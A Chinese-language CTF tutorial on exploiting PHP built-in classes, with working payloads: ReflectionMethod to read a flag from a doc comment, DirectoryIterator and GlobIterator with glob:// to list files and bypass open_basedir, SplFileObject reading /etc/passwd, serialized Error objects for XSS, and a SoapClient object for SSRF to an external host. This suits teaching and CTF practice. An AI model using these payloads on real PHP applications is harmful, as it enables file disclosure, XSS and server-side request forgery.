原生类,即php中的内置类,ctf考过利用原生类的考点
先贴一个脚本寻找php中存在什么原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
常遇到的几个 PHP 原生类有如下几个:
- Error
- Exception
- SoapClient
- DirectoryIterator
- SimpleXMLElement
获取注释内容
取自2021国赛题目
ReflectionMethod
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容
源码:
<?php
highlight_file(__file__);
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
/**
* flag{XINO}
*/
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
源码环境没有搞到,自己写了一个
rc是传入原生类名,rb和ra是传入类的属性,rd时传入类方法,后面就是实例化调用方法。
payload:
?rc=ReflectionMethod&ra=User&rb=c&rd=getDocComment
读取目录/文件(内容)
DirectoryIterator:
功能:**遍历指定目录里的文件,**可以配合glob://协议使用匹配来寻找文件路径:
<?php
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;
或者遍历全部文件
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
FilesystemIterator
使用方式与DirectoryIterator基本相同,这里就不细讲了
GlobIterator
GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
它的特点就是,只需要知道部分名称就可以进行遍历
例如
<?php
$dir=new GlobIterator("/*flag*");
echo $dir;
绕过 open_basedir
open_basedir将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
DirectoryIterator
DirectoryIterator与glob://协议在一起组合可以绕过open_basedir
测试
<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}
利用payload
/?XINO=glob:///* #列出根目录下所有文件
FilesystemIterator
与上面基本一致,不再过多讨论
GlobIterator
**根据该类特点,**不用在配合glob://协议
一句话payload
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f.'<br>');}
SplFileObject 类
平常读取只能读取一行,要全部读取需要对内容进行遍历
?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
Error/Exception 内置类进行 XSS
Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错。
Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的
PHP7中,可以在echo时触发__toString,来构造XSS。
测试
<?php
$a = unserialize($_GET['XINO']);
echo $a;
?>
反序列化却没有pop链,只能找到PHP内置类来进行反序列化
poc:
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
传入输出会出现弹框,一个简单的利用
Exception 内置类
与上面类似,有兴趣的可以去复现一下
SoapClient 类进行 SSRF
专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
构造函数
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
<?php
$a = new SoapClient(null,array('location'=>'http://50.xxx.xxx.60:2333/XINO', 'uri'=>'http://50.xxx.xxx.60:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); 触发__call方法进行ssrf
?>